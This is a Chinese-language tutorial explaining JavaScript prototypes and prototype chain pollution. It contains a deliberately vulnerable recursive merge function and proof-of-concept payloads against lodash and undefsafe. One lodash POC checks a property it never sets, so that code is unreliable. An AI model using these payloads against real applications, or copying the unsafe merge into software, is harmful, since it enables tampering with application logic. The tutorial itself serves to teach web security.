文章目录
前置知识
对象
对象可以看作是一个包含数据(变量)和方法(函数)的属性集合。在js中一切引用类型都是对象。
引用类型:Array(数组)类型、Function(函数)类型、Object类型(引用类型的核心)、Data(日期)类型、RegExp(正则)类型
var hello = function() {
console.log('hello world');
};
//这目前只是一个普通的函数
var a=new hello();
//当通过new关键字调用了hello函数时,hello就是一个构造函数
当使用new关键字调用函数时:首先js会隐式创建一个新的空对象,并将其作为
this
绑定到构造函数中。这个新对象的原型会被设置为构造函数的prototype
对象(后面会说),接着函数体内部的代码会在新创建的对象上执行。
三个重要属性:__proto__
、prototype
、constructor
__proto__
属性和constructor
属性是对象特有的。__proto__
通常称为隐式原型,prototype
通常称为显式原型
prototype
属性是函数独有的
以上面的代码为例
prototype属性
prototype
属性是函数独有的,从一个函数指向一个对象
,含义是函数的原型对象
。
因此prototype
是一个对象,包含构造函数的所有实例共享的属性和方法(即让该函数所实例化的对象们都能找到共用的属性和方法)。
在函数创建时,会默认同时创建这个函数的prototype对象。
__proto__属性
__proto__
属性是对象独有的,这个属性都是从一个对象指向一个对象
,即指向他们各自的原型对象
(父对象)。
因此__proto__
的作用是告诉我们一个对象的原型对象
是谁。
当访问一个对象的属性时,如果该对象内部不存在这个属性,就会去找它的__proto__
属性所指向的对象,如果这个原型对象(父对象)也不存在,就会继续沿着这个原型对象(父对象)的__proto__
属性找它的原型对象(爷爷对象)。如果还没找到,就继续找,直到原型链的顶端null
。
constructor
constructor
属性也是对象独有的,这个属性从一个对象指向一个函数
,即指向该对象的构造函数
。所有函数的最终构造函数都指向了function
function()有一点特殊,它既可以看成函数也可以看成对象。所有函数和对象都是由function构造函数得到的,因此constructor
属性的终点就是function()函数。
Function
是原生构造函数,自动出现在运行环境中
总结
1、__proto__和constructor属性是对象独有的;而prototype属性是函数独有的。但函数也是一种对象,所有函数也拥有__proto__和constructor属性
2、__proto__通常被称为隐式原型,prototype通常被称为显式原型。一个对象的隐式原型指向了该对象的构造函数的显示原型。
3、函数创建的对象.__proto__===该函数.prototype
函数.prototype.constructor===该函数本身
因此在这个例子中a.__proto__===hello.prototype; hello.prototype.constructor===hello
JS原型与原型链继承
每个对象从创建的开始就和另一个对象关联,从另一个对象上继承它的属性,其中的另一个对象
就是原型
由于对象及其原型组成的链子就是原型链
在这里插入图片描述
原型链污染
在js中没有类的概念,继承都是通过原型链来实现的。并且很少有真正的私有属性,类的所有属性都运行被公开的访问和修改,包括proto,构造函数和原型。因此攻击者可以通过注入其他值来覆盖或污染proto,构造函数和原型属性,这就是原型链污染。
Merge类操作原型链污染
Merge类操作是最常见的肯能控制键名的操作,因此也最可能导致原型链污染。
merge函数通常用于将多个对象合并成一个,但主要是将一个对象的属性复制到另一个对象中,生成一个新的合并结果
例:经典递归漏洞
#merge函数功能
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
//输出1 2
object3 = {}
console.log(object3.b)
//输出 2
可以看到object3的b是从原型获取到的,说明Object已被污染。
因为在json解析的时候,__proto__
会被当成一个键名而不是原型,因此遍历object2时会存在这个键,所有Object被污染了
merge()不安全的原因:
1、这个函数对source
对象中的所有属性进行迭代(对象source在键值相同的情况下拥有更高的优先权)
2、如果属性同时存在与第一个和第二个参数中,且都是Object的话,它就会递归地合并这个属性
3、如果控制了source[key]
的值,使其变成__proto__
,且能控制source
中__proto__
属性的值,在递归的时候,target[key]
在某个特定的时候,就会指向对象target
的prototype
,我们就能添加一个新的属性到该对象的原型链中了。
Lodash模块原型链污染
lodash是一个包含简化字符串、数字、数组、函数和对象的js库
lodash.defaultsDeep方法造成原型链污染
lodash库中的defaultsDeep
函数可能会被包含constructor
的payload添加或修改object.prototype
漏洞验证POC
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
lodash.merge 方法造成的原型链污染
lodash.merge作为lodash中的对象合并插件,它可以递归合并sources
来源对象自身和继承的可枚举属性到object
目标对象,以此来创建父映射对象
merge(object, sources)
漏洞验证POC
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.mergeWith 方法造成的原型链污染
lodash.mergeWith方法类似于merge方法,但它还会接受一个customizer
,来决定如何合并,如果customizer
返回undefined
将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
漏洞验证POC
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染
lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象
set(object, path, value)
漏洞验证POC
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染
lodash.setWith 方法类似 set
方法。但是它还会接受一个 customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。
setWith(object, path, value, [customizer])
漏洞验证POC
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
Undefsafe模块原型链污染
Undefsafe 是 Nodejs 的一个第三方模块,其核心是一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3版本)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。
例子:
var a = require("undefsafe");
var test = {}
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is [object Object]
返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!